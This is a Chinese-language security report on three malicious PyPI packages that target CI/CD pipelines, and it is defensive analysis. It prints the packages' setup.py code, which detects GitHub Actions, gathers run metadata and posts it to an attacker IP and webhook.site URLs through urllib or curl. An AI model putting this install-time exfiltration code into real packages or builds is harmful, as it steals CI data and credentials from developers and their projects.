天问发现针对CI/CD的PyPI恶意包投毒攻击
天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包,通过包名伪装来诱导用户下载,在依赖安装阶段隐蔽执行恶意代码,从而窃取CI运行环境中的构建元数据与敏感环境变量。 天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。 随着 DevOps 和 CI/CD(Continuous Integration / Continuous Deployment)流程在软件工程中的广泛采用,自动化构建、测试和部署流水线已成为现代软件交付的核心基础设施。在这一过程中,CI/CD 系统通常需要从公共软件仓库(如 PyPI、npm、Maven Central 等)动态下载并安装大量第三方依赖包,以完成构建、测试及部署任务。 然而,这种高度自动化、强依赖第三方组件的模式,也显著扩大了软件供应链的攻击面。攻击者可以通过向公共包仓库投递恶意依赖包(Malicious Package),诱导 CI/CD 流水线在构建阶段自动执行恶意代码,从而实现: 星图实验室天问软件供应链监测系统在春节期间发现了PyPI中出现的针对CI/CD的恶意软件包。我们挑选了其中3个来系统分析其攻击逻辑及危害,即 从命名风格可观察到,攻击者刻意采用“CI”、“metadata”、“logging”、“test”等关键词,使包名看起来高度贴合自动化构建、测试与日志采集场景,从而降低人工审查与用户警惕。 三个样本均将恶意逻辑嵌入于 且大多以 高权限、全自动、无人工干预 的方式执行,为攻击者提供了极佳的攻击窗口。 恶意样本通常首先检测是否运行在 CI/CD 环境中: 我们发现的三个样本,均在 这些CI数据可以使攻击者精确定位受害项目的构建流程与代码状态,进而实现高度定向攻击,同时对于记录的CI流水线的GitHub用户身份,可以依此来构建针对性的钓鱼攻击。 这些恶意样本均实现了HTTP 外联模块,用于将窃取的数据发送至攻击者服务器。 从这些代码的结构和注释,我们不难发现这些攻击样本来自于固定的模版,攻击者只需修改其中的服务器地址就能实施攻击。 而且 针对 CI/CD 环境中存在的恶意依赖投毒风险,应从依赖完整性校验、运行环境权限控制、构建阶段动态监控以及供应链威胁检测四个方面构建系统化防护体系。 我们系统分析了三个针对 CI/CD 生态的 PyPI 恶意包样本,揭示了一类高度隐蔽、定向性强的软件供应链攻击模式。攻击者通过在 setup.py 中嵌入恶意逻辑,实现对 CI 运行环境的自动化信息收集,重点窃取构建流水线元数据与敏感环境变量,从而为后续的定向攻击、凭据滥用与潜在的供应链渗透提供关键情报基础。 该攻击范式对现代 DevOps 架构构成严峻挑战,尤其在高度自动化的构建环境中,信息窃取行为本身即可引发严重的安全连锁反应,亟需在依赖管理、CI 运行权限控制以及自动化威胁检测等层面构建系统性防御机制。1. 背景
2. 攻击样本概述
http_notifier_test-1.0.0、ci_metadata_python_logging-0.1.0、pylibcugraphops-23.12.0。这些样本在命名、功能描述和行为逻辑上,均明显针对 CI/CD 场景进行定向投毒,具有典型代表性。包名 版本 仓库 主要攻击目标 http_notifier_test 1.0.0 PyPI CI 环境变量 + HTTP 通信 ci_metadata_python_logging 0.1.0 PyPI CI/CD 平台元数据 pylibcugraphops 23.12.0 PyPI 伪装 GPU 计算依赖,攻击高价值 CI 构建节点 3. 恶意行为分析
3.1 利用 setup.py 触发自动执行
setup.py 中。由于 Python 包在安装时会自动执行 setup.py,因此攻击者可在 pip install 阶段实现无感执行,极其适合 CI/CD 场景。这一阶段通常发生在:3.2 CI 环境识别与定向攻击
import os
if "CI" in os.environ or "GITHUB_ACTIONS" in os.environ:
# 执行恶意逻辑setup.py中尝试获取CI相关环境变量信息http_notifier_testci_metadata = {
"ci": os.environ.get("CI"),
"github_actions": os.environ.get("GITHUB_ACTIONS"),
"github_workflow": os.environ.get("GITHUB_WORKFLOW"),
"github_run_id": os.environ.get("GITHUB_RUN_ID"),
"github_run_number": os.environ.get("GITHUB_RUN_NUMBER"),
"github_run_attempt": os.environ.get("GITHUB_RUN_ATTEMPT"),
}ci_metadata_python_logging"ci_metadata": {
"ci_detected": os.environ.get("CI", "false"),
"gh_actions": os.environ.get("GITHUB_ACTIONS"),
"gh_workflow": os.environ.get("GITHUB_WORKFLOW"),
"gh_run_id": os.environ.get("GITHUB_RUN_ID"),
"gh_actor": os.environ.get("GITHUB_ACTOR"), # Who triggered the run
"gh_ref": os.environ.get("GITHUB_REF"), # Branch or tag
"git_commit": os.environ.get("GITHUB_SHA")
}pylibcugraphopsparams = {
"ip": ip,
"ci": os.getenv("CI"),
"gh_act": os.getenv("GITHUB_ACTIONS"),
"gh_wf": os.getenv("GITHUB_WORKFLOW"),
"gh_id": os.getenv("GITHUB_RUN_ID"),
"gh_num": os.getenv("GITHUB_RUN_NUMBER"),
}3.3 HTTP外联通信
http_notifier_testBEACON_URL = "http[:]//164.90.176.41:23444"
...
# Send POST request with IP info
json_data = json.dumps(data).encode('utf-8')
req = urllib.request.Request(
BEACON_URL,
data=json_data,
headers={'Content-Type': 'application/json'}
)
urllib.request.urlopen(req, timeout=3)ci_metadata_python_logging# 3. Send to Webhook
# Note: example.com is a placeholder; use your webhook.site URL
webhook_url = "https[:]//webhook.site/5940aa52-b829-4f0d-afe2-08d29d2922d0"
req = urllib.request.Request(
webhook_url,
data=json.dumps(payload).encode("utf-8"),
headers={"Content-Type": "application/json"},
method="POST"
)
# Short timeout ensures the install doesn't "hang" if the site is down
urllib.request.urlopen(req, timeout=5)pylibcugraphopsWEBHOOK_URL = "https[:]//webhook.site/1cee78e0-32f4-4e76-8f9d-f2bfa58784f9"
COLLAB_DOMAIN = "your-collab-domain.oastify.com"
...
query = "&".join([f"{k}={v}" for k,v in params.items() if v])
url = f"{WEBHOOK_URL}?{query}"
subprocess.Popen(
["curl", "-m", "3", "-s", url],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)pylibcugraphops包名接近真实 CUDA / cuGraph 生态组件,描述信息中显示该包为依赖测试。如果这个包被攻击者使用依赖攻击来下载使用,将非常难以检测排查。这些恶意软件包针对的目标受众可能为高性能计算CI环境,一旦被攻破,其中的模型权重、私有数据、商业算法等高价值的内容都可能遭到窃取。4. 防御与缓解建议
5. 结论